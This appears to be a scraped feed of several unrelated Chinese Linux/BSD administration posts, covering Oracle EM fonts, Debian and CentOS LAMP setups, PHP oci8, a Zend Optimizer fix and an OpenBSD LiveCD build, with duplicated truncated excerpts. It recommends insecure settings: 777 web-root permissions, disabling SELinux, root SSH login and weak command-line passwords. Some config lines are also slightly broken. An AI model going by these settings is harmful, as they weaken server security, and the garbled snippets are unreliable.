[oracle@danaly lib]$ ls font*zh_CN*
font.properties.zh_CN.Redhat font.properties.zh_CN.Redhat2.1
font.properties.zh_CN.Sun font.properties.zh_CN_UTF8.Sun
我们只要用合适的中文字符集文件替换缺省文件即可,我选择使用font.properties.zh_CN.Redhat来替换缺省字体定义文件:
[oracle@danaly lib]$ cp font.properties.zh_CN.Redhat font.properties
替换之后需要清理一下Cache,重启EM即可.
Cache路径通常位于:
$ORACLE_HOME/oc4j/j2ee/oc4j_applications/applications/em/em/cabo/images/cache/zhs
清除所有gif文件即可.然后重新启动EM:
[oracle@danaly zhs]$ emctl stop dbconsole
TZ set to PRC
Oracle Enterprise Manager 10g Database Control Release 10.2.0.1.0
Copyright (c) 1996, 2005 Oracle Corporation. All rights reserved.

http://danaly.hurrray.com.cn:1158/em/console/aboutApplication

Stopping Oracle Enterprise Manager 10g Database Control …
… Stopped.
[oracle@danaly zhs]$ emctl start dbconsole
TZ set to PRC
Oracle Enterprise Manager 10g Database Control Release 10.2.0.1.0
Copyright (c) 1996, 2005 Oracle Corporation. All rights reserved.

http://danaly.hurrray.com.cn:1158/em/console/aboutApplication

Starting Oracle Enterprise Manager 10g Database Control ………….. started.
——————————————————————
Logs are generated in directory
/opt/oracle/product/10.2.0/danaly.hurrray.com.cn_danaly/sysman/log
现在登陆Web页面,EM显示就可以正常显示中文.

在Debian下只要安装相关软体，无需修改任何配置文件，把网页程序上传到/var/www目录，更改权限为777，服务器就能够工作！ 二、LAMP简单配置 经过前面的步骤，服务器就能够正常运行，但是有时候达不到我们的要求，所以掌握基本配置方法是很有必要的。

1、建立mysql数据库，并添一个仅拥有这些数据库权限的用户，以便网页程序使用，提高服务器的安全性。 ~#mysql -h127.1 -uroot -pabcabc #连接mysql服务器，其中-h是主机，-u是用户名，-p是密码。注意各参数与附值之间没有空格。 > create database lamp; #创建数据库lamp，注意mysql内部命令必需以“;”结尾。 >show databases; +——————–+ | Database | +——————–+ | information_schema | | lamp | | mysql [...]]]> 一、安装基本程式
~#apt-get install apache2 mysql-server php5 php5-mysql phpmyadin pear php5-gd
#在安装过程序会提示你设置mysql的root用户密码。

在Debian下只要安装相关软体，无需修改任何配置文件，把网页程序上传到/var/www目录，更改权限为777，服务器就能够工作！
二、LAMP简单配置
经过前面的步骤，服务器就能够正常运行，但是有时候达不到我们的要求，所以掌握基本配置方法是很有必要的。

1、建立mysql数据库，并添一个仅拥有这些数据库权限的用户，以便网页程序使用，提高服务器的安全性。
~#mysql -h127.1 -uroot -pabcabc
#连接mysql服务器，其中-h是主机，-u是用户名，-p是密码。注意各参数与附值之间没有空格。
> create database lamp;
#创建数据库lamp，注意mysql内部命令必需以“;”结尾。
>show databases;
+——————–+
| Database |
+——————–+
| information_schema |
| lamp |
| mysql |
+——————–+
4 rows in set (0.00 sec)
#查看数据库。
>grant all on lamp.* to lyb@localhost identified by ‘abc123′;
#建立用户名lyb，只允许本地登录，密码为“abc123”，仅拥有数据库lamp的完全权限。l

2、apache2配置文件介绍。
Debian 5.0 的apache2的配置文件全在/etc/apache2/目录下面。
apache2.conf
#apache的全局配置文件。
envvars
#定义apache的用户环境。
ports.conf
#定义监听端口。
httpd.conf
#默认为空文件，一般用户自已添加的选项写入这里。
mods-available
#以load文件结尾的是加载相应模块选项，以conf文件结尾的是相应模块选项。
mods-enabled
#都是指向mods-available下面的文件的链接文件，需要启用那些模块就在此建立相关链接即可。
sites-available
#虚拟主机配置文件
sites-enabled
#指向sites-available目录下文件的链接。
conf.d
#定义字符编码和其它选项。
三、性能调优
1、内核优化，vim /etc/sysctl.conf
# Use TCP syncookies when needed
net.ipv4.tcp_syncookies = 1
# Enable TCP window scaling
net.ipv4.tcp_window_scaling: = 1
# Increase TCP max buffer size
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
# Increase Linux autotuning TCP buffer limits
net.ipv4.tcp_rmem = 4096 87380 16777216
net.ipv4.tcp_wmem = 4096 65536 16777216
# Increase number of ports available
net.ipv4.ip_local_port_range = 1024 65000
2、优化磁盘
在文件系统上禁用 atime 日志记录特性。atime 是最近访问文件的时间，每当访问文件时，底层文件系统必须记录这个时间戳。因为系统管理员很少使用atime，禁用它可以减少磁盘访问时间。禁用这个特性的方法是，在 /etc/fstab 的第四列中添加 noatime 选项。
例如：LABEL=/boot /boot ext3 defaults,noatime 1 2
3、调优Apache
需要伸缩性的站点可以选择worker或event线程化的MPM，而需要稳定性和兼容性的站点可以用prefork。
一个经典 worker MPM 配置：
ServerLimit 128
StartServers 8
MaxClients 3000
MinSpareThreads 128
MaxSpareThreads 1024
ThreadsPerChild 32
一个 perfoxk MPM 配置实例：
StartServers 32
MinSpareServers 32
MaxSpareServers 64
MaxClients 1024
MaxRequestsPerChild 4000

有效的使用选项和重写

AllowOverride None
Options FollowSymLinks

如果使用 -FollowSymLinks，该特性就会被禁用。如果禁用了 FollowSymLinks，Apache 就必须检查使用该文件名的所有组件（目录和文件本身），以确保它们不是符号连接。这会带来额外的开销（磁盘操作）。
AllowOverride None 是不允许重写，这能消除 Apache 检查 .htaccess 的需求。
HostnameLookups off 指令禁用 DNS 查找，因为试图反向解析连接到您的服务器的所有 IP 地址无疑是浪费资源。

持久连接
KeepAlive On
KeepAliveTimeout 5

关闭DNS查询
HostnameLookups off

合理配置缓冲模块
mod_cache
mod_disk_cache
mod_mem_cache
mod_file_cache

4、优化 php.ini ，四个重要的控制设置 PHP 可以使用多少系统资源。
max_execution_time 一个脚本可使用多少 CPU 秒，建议值 30
max_input_time 一个脚本等待输入数据的时间有多长（秒），建议值 60
memory_limit 在被取消之前，一个脚本可使用多少内存（字节），建议值 32M
output_buffering 数据发送给客户机之前，有多少数据（字节）需要缓存，建议值 4096
PHP 可执行的日志记录数是可配置的。在生产环境中，禁用除最重要的日志以外的一切日志记录能够减少磁盘写操作。如果需要使用日志来排除问题，那么可以按需启用日志记录。error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR 将启用足够的日志记录，使您发现问题，同时从脚本中消除大量无用的内容。
5、优化MySQL
参考：
三、应用 php 加速
1、安装 XCache 或 eAccelerator
下载：apt-get install php5-xcache
下载：http://bart.eaccelerator.net/source/0.9.5.3/eaccelerator-0.9.5.3.tar.bz2

1 安装

1.1 CentOS5.2 ? 所有需要安装的包都放在/usr/src下，解压也是解压在/usr/src下。 ? 所有的软件都是安装在/usr/local下。

1.2 基本信息 ? vmware workstation 6.2 ? 创建一个redhat as 5.0 vm ? 8g硬盘，160m内存，去掉声卡，软驱 ? ip：192.168.1.168 ? 掩码：255.255.255.0 ? 网关：192.168.1.1 ? dns：192.168.1.1 ? hostname:centos

1.3 最小化安装 通过命令行的方式进行安装，所有的选择都是采用缺省的， 时区选择：中国 语言：英语 安装了342个包，占用空间是536m，不选择任何组件

1.4 分区 /swap:320 / :全部空间

2 基本命令使用

2.1 VI 进入编辑状态：i 退出编辑状态：Esc 到第一行：gg 到最後一行：G 到某一行：xxG 到行首：0 到行末：$ 复制：yy 贴上：p 复原：u 删整行：dd 删除全部内容：dG 显示行数：:set nu 不显示行数：:set nonu 搜寻：/、再次搜寻：n 储存：:w 离开：:q 储存兼离开：:wq 或 shift+zz 强制离开（不储存）：:q! 2.2 yum 更新：yum update 安装：yum install xxx 移除：yum remove xxx 清除已经安装过的档案（/var/cache/yum/）：yum clean all 搜寻：yum search xxx 列出所有档案：yum list 查询档案讯息：yum info xxx 群组安装功能： yum grouplist yum groupinstall “Web Server” 2.3 rpm 安装：rpm -ivh xxx 移除：rpm -e xxx 升级：rpm -Uvh xxx 查询： 查询所有安装的包： rpm -qa 查询某个包：rpm -qa [...]]]> centos5.2是采用最小化的安装，全部的软件都是采用编译安装，软件基本都是最新版本。

1 安装

1.1 CentOS5.2
? 所有需要安装的包都放在/usr/src下，解压也是解压在/usr/src下。
? 所有的软件都是安装在/usr/local下。

1.2 基本信息
? vmware workstation 6.2
? 创建一个redhat as 5.0 vm
? 8g硬盘，160m内存，去掉声卡，软驱
? ip：192.168.1.168
? 掩码：255.255.255.0
? 网关：192.168.1.1
? dns：192.168.1.1
? hostname:centos

1.3 最小化安装
通过命令行的方式进行安装，所有的选择都是采用缺省的，
时区选择：中国
语言：英语
安装了342个包，占用空间是536m，不选择任何组件

1.4 分区
/swap:320
/ :全部空间

2 基本命令使用

2.1 VI
进入编辑状态：i
退出编辑状态：Esc
到第一行：gg
到最後一行：G
到某一行：xxG
到行首：0
到行末：$
复制：yy
贴上：p
复原：u
删整行：dd
删除全部内容：dG
显示行数：:set nu
不显示行数：:set nonu
搜寻：/、再次搜寻：n
储存：:w
离开：:q
储存兼离开：:wq 或 shift+zz
强制离开（不储存）：:q!
2.2 yum
更新：yum update
安装：yum install xxx
移除：yum remove xxx
清除已经安装过的档案（/var/cache/yum/）：yum clean all
搜寻：yum search xxx
列出所有档案：yum list
查询档案讯息：yum info xxx
群组安装功能：
yum grouplist
yum groupinstall “Web Server”

2.3 rpm
安装：rpm -ivh xxx
移除：rpm -e xxx
升级：rpm -Uvh xxx
查询：
查询所有安装的包： rpm -qa
查询某个包：rpm -qa | grep xxx
rpm -qi xxx
查询软件的安装路径：rpm -ql xxx
rpm -qc xxx
查询某个文件是那个rpm包产生：rpm -qf /etc/yum.conf
rpm -qpi xxx
2.4 chkconfig
查看所有服务：chkconfig –list
查看3启动的状态：chkconfig –list | grep 3n
把某些服务设置为启动：chkconfig –level 345 xxx on
把某些服务设置当前启动：chkconfig xxx on
列出某项服务：chkconfig –list xxx

2.5 查看系统状态
查看系统使用字符集：echo $LANG $LANGUAGE
环境变量：set

2.6 解压
如果是以gz結尾的如：test.tar.gz
tar zxvf test.tar.gz
如果是以bz或bz2結尾如：test.tar.bz2
tar jxvf test.tar.bz2

2.7 基本信息查看和修改
查看 IP：ifconfig
修改 IP：
运行命令：system-config-network-tui
或修改：/etc/sysconfig/network-scripts/ifcfg-eth0
FQDN 设定：
hostname
more /etc/hosts
more /etc/sysconfig/network
修改计算机名字
1：vi /etc/sysconfig/network
2：vi /etc/hosts
如果通过
hostname xxx
来修改计算机名字，则重新启动后就不起作用
DNS 设定：
vi /etc/resolv.conf
nameserver 192.168.1.1
nameserver 202.106.195.68
重新启动网卡：
/etc/rc.d/init.d/network restart

3 登陆后设置

3.1 关闭selinux
1：运行命令setup，可以在图形化界面进行关闭
2：vi /etc/sysconfig/selinux
SELINUX=enforcing 改成–> SELINUX=disabled

3.2 关闭不需要服务
1：运行命令setup
2：运行命令ntsysv
只启用下面9个服务（autofs是为了方便使用光驱，其实可以不启用这个服务）
acpid
anacron
autofs
cpuspeed
crond
network
sshd
syslog
yum-updatesd
3.3 配置ssh
修改两个地方
vi /etc/ssh/sshd.config
#PermitRootLogin yes 改为
PermitRootLogin yes
#UseDNS yes 改为
UseDNS no

3.4 配置yum

mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.save
vi /etc/yum.repos.d/CentOS-Base.repo
######################
[base]
name=CentOS-5 – Base
repo=os
baseurl=http://centos.ustc.edu.cn/centos/5.1/os/$basearch/
gpgcheck=1
gpgkey=http://centos.ustc.edu.cn/centos/RPM-GPG-KEY-CentOS-5
[update]
name=CentOS-5 – Updates
baseurl=http://centos.ustc.edu.cn/centos/5.1/updates/$basearch/
gpgcheck=1
gpgkey=http://centos.ustc.edu.cn/centos/RPM-GPG-KEY-CentOS-5
[addons]
name=CentOS-5 – Addons
baseurl=http://centos.ustc.edu.cn/centos/5.1/addons/$basearch/
gpgcheck=1
gpgkey=http://centos.ustc.edu.cn/centos/RPM-GPG-KEY-CentOS-5
[extras]
name=CentOS-5 – Extras
baseurl=http://centos.ustc.edu.cn/centos/5.1/extras/$basearch/
gpgcheck=1
gpgkey=http://centos.ustc.edu.cn/centos/RPM-GPG-KEY-CentOS-5
[centosplus]
name=CentOS-5 – Plus
baseurl=http://centos.ustc.edu.cn/centos/5.1/centosplus/$basearch/
gpgcheck=1
enabled=0
gpgkey=http://centos.ustc.edu.cn/centos/RPM-GPG-KEY-CentOS-5
[contrib]
name=CentOS-5 – Contrib
baseurl=http://centos.ustc.edu.cn/centos/5.1/contrib/$basearch/
gpgcheck=1
enabled=0
gpgkey=http://centos.ustc.edu.cn/centos/RPM-GPG-KEY-CentOS-5
###################

rpm –import http://centos.ustc.edu.cn/centos/5.1/os/i386/RPM-GPG-KEY-CentOS-5
yum update

4 ：编译前准备
4.1 安装编译器gcc
最小化安装，没有安装编译器
yum install gcc
4.2 gcc-c++
如果不安装，在编译mysql的时候会出现【exec: g++: not found】错误
yum install gcc-c++
5：安装软件
5.1安装mysql
1:去下载一个ncurses-5.6.tar.gz，
tar zxvf ncurses-5.6.tar.gz
cd ncurses-5.6
./configure –prefix=/usr –with-shared –without-debug
make
make install clean

2：安装mysql
tar -zxvf mysql-5.0.51a.tar.gz
cd mysql-5.0.51a
./configure –with-mysqld-user=mysql –prefix=/usr/local/mysql5 –with-extra-charset=all –without-isam –exec-prefix=/usr/local/mysql5
echo $?
make && make install

3：初始化数据库：
groupadd mysql
useradd -g mysql mysql
scripts/mysql_install_db
cp /usr/local/mysql5/share/mysql/my-medium.cnf /usr/local/mysql5/var/my.cnf
cp /usr/local/mysql5/share/mysql/mysql.server /etc/init.d/mysqld
chkconfig –add mysqld
chkconfig –level 2345 mysqld on
chown mysql:mysql -R /usr/local/mysql5/
service mysqld start
ln -s /usr/local/mysql5/bin/mysql /sbin/mysql
ln -s /usr/local/mysql5/bin/mysqladmin /sbin/mysqladmin

4：设定mysql密码
mysqladmin -uroot password “123456″

5：让系统找到mysql（如果必要的话）：
PATH=$PATH:/usr/local/mysql5/bin
export PATH
echo “/usr/local/mysql5/lib/mysql” >> /etc/ld.so.conf
ldconfig
6：:测试
netstat -nplt | grep mysql
ps aux|grep mysql
5.2 安装apache
1：编译安装
tar zxvf httpd-2.2.8.tar.gz
cd httpd-2.2.8
./configure –prefix=/usr/local/apache2 –enable-so –enable-rewrite
echo $?
make && make install
/usr/local/apache2/bin/apachectl configtest
/usr/local/apache2/bin/apachectl start
/usr/local/apache/bin/apachectl stop
2：修改默认启动页
vi /usr/local/apache2/conf/httpd.conf
DirectoryIndex index.html 改为
DirectoryIndex index.html index.htm default.htm default.html index.php index.php3 index.jsp
#ServerName www.example.com:80 改为
ServerName www.example.com:80
3：apache 开机启动的办法
1：#echo “/usr/local/apache/bin/apachectl start” >>/etc/rc.local(系统启动时服务自动启动)
2:创建一个httpd启动脚本，内容如下：
cp /usr/local/apache2/bin/apachectl /etc/init.d/httpd
vi /etc/init.d/httpd
在第三行添加以下内容
#chkconfig:345 85 15
#description: Start and stops the Apache HTTP Server.
chmod +x /etc/rc.d/init.d/httpd
chkconfig –add httpd
修改乱码
步骤1：
在httpd.conf中将Include conf/extra/httpd-autoindex这个模块的注释去掉
@vi /usr/local/apache/conf/httpd.conf
步骤2：
在httpd-autoindex.conf中加入IndexOptions Charset=UTF-8
@vi /usr/local/apache/conf/extra/httpd-autoindex.conf
5.3 安装GD
1：安装ZLIB2
######zlib#############
tar zxvf zlib-1.2.3.tar.gz
cd zlib-1.2.3
./configure
make
make install clean
2：安装PNG
##########libpng###########
tar zxvf libpng-1.2.26.tar.gz
cd libpng-1.2.26
cp scripts/makefile.linux ./makefile
./configure –prefix=/usr/local/libpng
make
make install clean
3：安装freetype
##########freetype#########
cd freetype-2.3.5
./configure
make
make install
4：安装JPEG6

#########jpeg###############
tar zxvf jpegsrc.v6b.tar.gz
cd jpeg-6b
mkdir -pv /usr/local/jpeg/{,bin,lib,include,man/man1,man1}
./configure –prefix=/usr/local/jpeg –enable-shared –enable- static
make
make install
5：安装GD
########GD###########
tar zxvf gd-2.0.35.tar.gz
cd gd-2.0.35
./configure –with-png –with-freetype –with-jpeg=/usr/local/jpeg/
make
make install
5.4 安装php
1：安装LIBXML2
#####libxml2 #####
tar zxvf libxml2-2.6.31.tar.gz
cd libxml2-2.6.31
./configure –prefix=/usr/local/libxml2
make
make install
cp xml2-config /usr/bin
2：:安装PHP5.2.5
#########php##########
tar zxvf php-5.2.5.tar.gz
cd php-5.2.5
./configure –prefix=/usr/local/php5 –with-mysql=/usr/local/mysql5 –with-apxs2=/usr/local/apache2/bin/apxs –with-jpeg-dir=/usr/local/jpeg –with-freetype-dir=/usr/local/include/freetype2 –with-zlib –with-png-dir=usr/local/libpng12 –with-libxml-dir=/usr/local/libxml2 –with-gd –enable-ftp –enable-sockets
make
make test
make install

3：配置
cp php.ini-dict /usr/local/php5/lib/php.ini
编辑httpd.conf
/usr/local/apache2/conf/httpd.conf
加载php模块，去掉注释,我的版本是缺省就启用的。
LoadModule php5_module modules/libphp5.so
加上下面两行
AddType application/x-httpd-php .php .phtml
AddType application/x-httpd-php-source .phps

5.5 安装zend
tar -zxvf ZendOptimizer-3.0.0-linux-glibc23- x86_64.tar.gz
cd ZendOptimizer-3.0.0-linux-glibc23-x86_64
./install
5.6 安装phpmyadmin
cp -rf phpMyAdmin-v2.11.5.2 /usr/local/apache2/htdocs/phpmyadmin
cd /usr/local/apache2/htdocs/phpmyadmin/
cp config.sample.inc.php config.inc.php
vi config.inc.php
$cfg['blowfish_secret'] = ”改为
$cfg['blowfish_secret'] = ‘dd’
只要不为空就可以了，这样就可以登陆，如果还有问题，就修改一下语言就解决“配置文件现在需要绝密的短语密码(blowfish_secret)”这个错误了。

6：软件
ncurses
http://ftp.gnu.org/pub/gnu/ncurses/ncurses- 5.6.tar.gz
安装GD库和GD库所需的环境
zlib

http://www.zlib.net/zlib-1.2.3.tar.gz

jpeg
ftp://ftp.uu.net/graphics/jpeg/jpegsrc.v6b.tar.gz
freetype
http://download.savannah.gnu.org/releases/freetype/freetype- 2.3.5.tar.gz
png
ftp://ftp.simplesystems.org/pub/libpng/png/src/libpng- 1.2.26.tar.gz
GD

http://www.libgd.org/releases/gd-2.0.35.tar.gz

安装php必须安装libxml
wget ftp://xmlsoft.org/libxml2/libxml2-2.6.31.tar.gz
apache2.2.8
http://apache.mirror.phpchina.com/httpd/httpd- 2.2.8.tar.gz
phpmyadmin2.11.5.2
http://4.gxdx1.crsky.com/200804/phpMyAdmin- v2.11.5.2.rar
Zend3.3
http://downloads.zend.com/optimi … glibc21-i386.tar.gz
php5.2.5
http://cn.php.net/distributions/php- 5.2.5.tar.gz
mysql5.051
http://mirror.trouble- free.net/mysql_mirror/Downloads/MySQL- 5.0/mysql-5.0.51a.tar.gz

然后 cd /usr/local/src apt-get source php4 cd php4-4.3.10/ext/oci8/ phpize4 ./configure –with-oci8=$ORACLE_HOME make make install

vi /etc/php4/apache2/php.ini 加入 extension=oci8.so vi /usr/sbin/apache2ctl 加入 export ORACLE_BASE=/u01/oracle export ORACLE_HOME=/u01/oracle/product/9i export ORACLE_SID=orcl export LD_LIBRARY_PATH=/u01/oracle/product/9i/lib:/lib:/usr/lib

重起 apache2就可以

　　在 Fedora 10 安装 lighttpd php5 mysql5 zend Optimizer

　　前 3个均可以用 yum 进行安装，很方便。

　　而 zend Optimizer 需要下载解压后，到解压目录输入 # ./install.sh 就会出现界面提示安装。安装后重启 lighttpd却没有成功启动 zend Optimizer 。

　　解决经过：

　　1. 开始认为是 php.ini 没有设置好。 打目录中找 #find / -name php.ini ，后发现网页输出 就有 Loaded Configuration File : /usr/local/Zend/etc/php.ini 显示 php.ini 文件已被加载。

　　2. [...]]]> 在 Fedora 10 安装 lighttpd php5 mysql5 zend Optimizer前 3个均可以用 yum 进行安装，很方便。

　　在 Fedora 10 安装 lighttpd php5 mysql5 zend Optimizer

　　前 3个均可以用 yum 进行安装，很方便。

　　而 zend Optimizer 需要下载解压后，到解压目录输入 # ./install.sh 就会出现界面提示安装。安装后重启 lighttpd却没有成功启动 zend Optimizer 。

　　解决经过：

　　1. 开始认为是 php.ini 没有设置好。 打目录中找 #find / -name php.ini ，后发现网页输出 就有 Loaded Configuration File : /usr/local/Zend/etc/php.ini 显示 php.ini 文件已被加载。

　　2. 是否 zend Optimizer 版本问题,安装最新版还是不成功。

　　3. 在网络查找解决方法多是说 php.ini 设置问题。最终将几个方法总结才解决：

　　具体解决方法:

　　1. 对于 php.ini文件路径有问题( 我的在 phpinfo()显示php.ini路径正确，我就不用这个方法 )

　　解决方法

　　php -i | grep php.ini 就可以找到当前php使用的php.ini文件

　　比如, 编译安装时没有指定php.ini存放路径, 那么默认php.ini会放在/usr/local/lib下面

　　最好是在编译PHP时指定PHP配置文件的路径 如: –with-config-file-path=/usr/local/etc

　　而一般zend默认安装 php.ini在/etc/目录下面或/usr/local/Zend/etc 所以需要在安装的时候手工指定我们php.ini文件存放的位置

　　如果, 不知道现在的PHP 的配置文件具体位置的话 可以查看一下:

　　php -i | grep php.ini

　　如果php optimizer安装好 却发现不能加载的话可以 手工指定读取php.ini文件的位置

　　php -c /etc/ -v 如果可以看到zend opt正确加载

　　那么做个连接就好 连接到php默认读取的php.ini路径下面

　　
比如

　　ln -sf /etc/php.ini /usr/local/lib

　　[root@localhost /]# php -v

HP 5.2.5 (cli) (built: Jan 22 2006 12:59:19)

　　Copyright (c) 1997-2006 The PHP Group

　　Zend Engine v1.3.0, Copyright (c) 1998-2004 Zend Technologies

　　with Zend Extension Manager v1.0.9, Copyright (c) 2003-2006, by Zend Technologies

　　with Zend Optimizer v3.3.2, Copyright (c) 1998-2006, by Zend Technologies

　　Ok 正常 phpinfo()看到的当然也是一样的

　　2. 调用库文件的问题

　　有的时候还有一些情况下 php -i 或php -v 在控制台下可以看到zend opt,

　　但是 apache 执行phpinfo的输出里面却看不到

　　一般是因为 调用php的时候zend模块不能加载, 比如AS4里面 就是这样的

　　如as4下面默认的php安装后读取库文件的路径 是在/usr/lib下面 ，

　　而php.ini文件中加载zend模块是在zend安装路径的lib目录中

　　比如/usr/local/Zend/lib 这时apache在执行php时 不能加载zend模块 所以 在控制台里php -v 可以正常

　　但是apache 却没有加载zend。

　　解决办法

　　先把zend模块copy到

　　/usr/lib里面 然后改一下php.ini里面zend加载模块部分

　　( 我在 php -i 中显示 Failed loading /usr/local/Zend/lib/Optimizer-3.3.0/php-5.2.x/ZendOptimizer.so: /usr/local/Zend/lib/Optimizer-3.3.0/php-5.2.x/ZendOptimizer.so: cannot restore segment prot after reloc: Permission denied

　　看这个原来是权限问题)

　　3. 最恶心的SElinux问题

　　SElinux导致PHP不能使用zend/lib下的库文件。所以，即便是做link也不行。只能够拷贝库文件到有权限的目录。或者直接关掉SElinux

　　但我已 在 /etc/selinux/config 的 SELINUX=disabled 关掉SElinux 还是不行, 再网络查询发现

　　在你保证SElinux 被disable后.还执行下

　　chcon -t texrel_shlib_t 命令

　　如: chcon -t texrel_shlib_t /usr/local/Zend/lib/Optimizer-3.3.0/php-5.2.x/ZendOptimizer.so (这个文件视具体执行文件.)

　　就可以。

　　我的解决的情况是:

　　1. 关闭SElinux

　　2. 运行 #chcon -t texrel_shlib_t /usr/local/Zend/lib/Optimizer-3.3.0/php-5.2.x/ZendOptimizer.so

　　就可以。

还有一个最终的解决办法，就是使用低版本的php源代码来编译安装php.

ftp://bsd.pls.msu.edu/pub/livecd

另符一篇livecd 的制作过程文章。仅作参考

OpenBSD LiveCD制作过程 刚开始接触OpenBSD时，我就很想使用OpenBSD LiveCD，但没找到。今年1月那时起就想

自己做一个LiveCD，一个新年一过， 就将它放下，现在又重新开始制作，今天写这篇文章

只是我思路的一个开始，制作的LiveCD，还不完善，我会后续为其改进。

制作过程： 一、 准备工作： 1、 一个能运行OpenBSD系统的所需要的必备文件，这里我就没像一些mini LiveCD那样

对系统进行剔牛肉进行精减，只是将一个能运行的系统的所有文件进行备份。而且如果备份

的文件不大， 那制作出的LiveCD就很小， 我们就可以将这个备份的系统文件也一起放进CD

中， 到时就可以用这个LiveCD安装系统， 2、 OpenBSD系统的源程序，我们在制作过程中需要编译光盘镜像。

二、 将备份的系统文件解开到一个目录下，我将以这个目录作为LiveCD的根目录制作CD

，如/usr/live/。 三、 将OpenBSD源程序解开到/usr/src下，然后： 1、 安装必须的程序： # cd /usr/src/distrib/crunch/crunchgen #make; make install #cd /usr/src/distrib/crunch/crunchide #make; make install

2、 定制内核 内核文件是/usr/src/sys/arch/i386/conf/RAMDISK_CD，我们需要对这个文件进行修改，其

中有三行最重要，一定不能少： option MFS option UNION config bsd root on cd0a LiveCD运行于MFS上，而且它的根目录在CD上。

还有其它一些选项如： option SMALL_KERNEL option NO_PROPLICE option TIMEZONE=0 option DST=0 option RAMDISK_HOOKS option MINIROOTSIZE=3560 [...]]]> OpenBSD 4.5 Live CD

ftp://bsd.pls.msu.edu/pub/livecd

另符一篇livecd 的制作过程文章。仅作参考

OpenBSD LiveCD制作过程
刚开始接触OpenBSD时，我就很想使用OpenBSD LiveCD，但没找到。今年1月那时起就想

自己做一个LiveCD，一个新年一过， 就将它放下，现在又重新开始制作，今天写这篇文章

只是我思路的一个开始，制作的LiveCD，还不完善，我会后续为其改进。

制作过程：
一、 准备工作：
1、 一个能运行OpenBSD系统的所需要的必备文件，这里我就没像一些mini LiveCD那样

对系统进行剔牛肉进行精减，只是将一个能运行的系统的所有文件进行备份。而且如果备份

的文件不大， 那制作出的LiveCD就很小， 我们就可以将这个备份的系统文件也一起放进CD

中， 到时就可以用这个LiveCD安装系统，
2、 OpenBSD系统的源程序，我们在制作过程中需要编译光盘镜像。

二、 将备份的系统文件解开到一个目录下，我将以这个目录作为LiveCD的根目录制作CD

，如/usr/live/。
三、 将OpenBSD源程序解开到/usr/src下，然后：
1、 安装必须的程序：
# cd /usr/src/distrib/crunch/crunchgen
#make; make install
#cd /usr/src/distrib/crunch/crunchide
#make; make install

2、 定制内核
内核文件是/usr/src/sys/arch/i386/conf/RAMDISK_CD，我们需要对这个文件进行修改，其

中有三行最重要，一定不能少：
option MFS
option UNION
config bsd root on cd0a
LiveCD运行于MFS上，而且它的根目录在CD上。

还有其它一些选项如：
option SMALL_KERNEL
option NO_PROPLICE
option TIMEZONE=0
option DST=0
option RAMDISK_HOOKS
option MINIROOTSIZE=3560

需要将一些多余的东西删除，因此这个内核大小控制在2.88M以内， 太大时会编译失败。我

的RAMDISK_CD是将/usr/src/sys/arch/i386/conf/GENERIC 和/usr/src/sys/conf/GENERIC

这两个文章合并然后去掉一些内容整理出来的。

3、 编译内核
# cd /usr/src/distrib/i386/ramdisk_cd
#make
成功后会在目录下生成cdrom36.fs这个文件，我们将这个文件复制到制作LiveCD的目录

下/usr/live/。

四、 修改/usr/live/etc中的各类文件
1、fstab

/dev/cd0a / cd9660 ro,noatime 0 0

swap /dev mfs rw,noatime,union,-s=16384 0 0

swap /tmp mfs rw,nodev,noexec,nosuid,noatime,-s=32768 0 0

swap /etc mfs rw,noatime,-s=16384 0 0

swap /var mfs rw,noatime,-s=16384 0 0

swap /home mfs rw,noatime,-s=16384 0 0

以前我没发现fstab的功能居然如此强大, 以为它只能mount已分好的挂载点, 原来它在光盘

系统中还可以在启动时自动挂载写入fstab中的mfs.

2、rc
OpenBSD启动时首先读取这个文件， 如果找不到它就会读取根目录下的/.profile文件进

行初始配置。
修改/etc/rc文件, 三个地方修改

# $OpenBSD: rc,v 1.251 2004/08/21 08:17:28 hshoexer Exp $

# System startup script run by init on autoboot

# or after single-user.

# Output and error are redirected to console by init,

# and the console is the controlling terminal.

# Subroutines (have to come first).

# Strip comments (and leading/trailing whitespace if IFS is set)

# from a file and spew to stdout

stripcom() {

local _file=”$1″

local _line

{

while read _line ; do

_line=${_line%%#*} # strip comments

test -z “$_line” && continue

echo $_line

done

} < $_file

}

# End subroutines

stty status '^T'

# Set shell to ignore SIGINT (2), but not children;

# shell catches SIGQUIT (3) and returns to single user after fsck.

trap : 2

trap : 3 # shouldn't be needed

HOME=/; export HOME

PATH=/sbin:/bin:/usr/sbin:/usr/bin

export PATH

if [ $1x = shutdownx ]; then

dd if=/dev/urandom of=/var/db/host.random bs=1024 count=64 >;/dev/null

2>;&1

chmod 600 /var/db/host.random >;/dev/null 2>;&1

if [ $? -eq 0 -a -f /etc/rc.shutdown ]; then

echo /etc/rc.shutdown in progress…

. /etc/rc.shutdown

echo /etc/rc.shutdown complete.

# bring carp interfaces down gracefully

for hn in /etc/hostname.carp[0-9]*; do

# Strip off /etc/hostname. prefix

if=${hn#/etc/hostname.}

test “$if” = “carp[0-9]*” && continue

ifconfig $if >; /dev/null 2>;&1

if [ "$?" != "0" ]; then

ifconfig $if down

fi

done

if [ "X${powerdown}" = X"YES" ]; then

exit 2

fi

else

echo single user: not running /etc/rc.shutdown

fi

exit 0

fi

# Configure ccd devices.

if [ -f /etc/ccd.conf ]; then

ccdconfig -C

fi

# Configure raid devices.

for dev in 0 1 2 3; do

if [ -f /etc/raid$dev.conf ]; then

raidctl -c /etc/raid$dev.conf raid$dev

fi

done

# Check parity on raid devices.

raidctl -P all

swapctl -A -t blk

if [ -e /fastboot ]; then

echo “Fast boot: skipping disk checks.”

elif [ $1x = autobootx ]; then

echo “Automatic boot in progress: starting file system checks.”

# fsck –p 这一行要注释掉

case $? in

0)

;;

2)

exit 1

;;

4)

echo “Rebooting…”

reboot

echo “Reboot failed; help!”

exit 1

;;

echo “Automatic file system check failed; help!”

exit 1

;;

12)

echo “Boot interrupted.”

exit 1

;;

130)

# interrupt before catcher installed

exit 1

;;

*)

echo “Unknown error; help!”

exit 1

;;

esac

fi

trap “echo ‘Boot interrupted.’; exit 1″ 3

umount -a >;/dev/null 2>;&1

mount -a -t nonfs

mount -uw / # root on nfs requires this, others aren’t hurt

rm -f /fastboot # XXX (root now writeable)

这里需要在/dev下建立三个设备点, 不然后一步tar出错, 系统启动时会问题多多

mknod /dev/stdout c 22 1

mknod /dev/stdin c 22 0

mknod /dev/stderr c 22 2

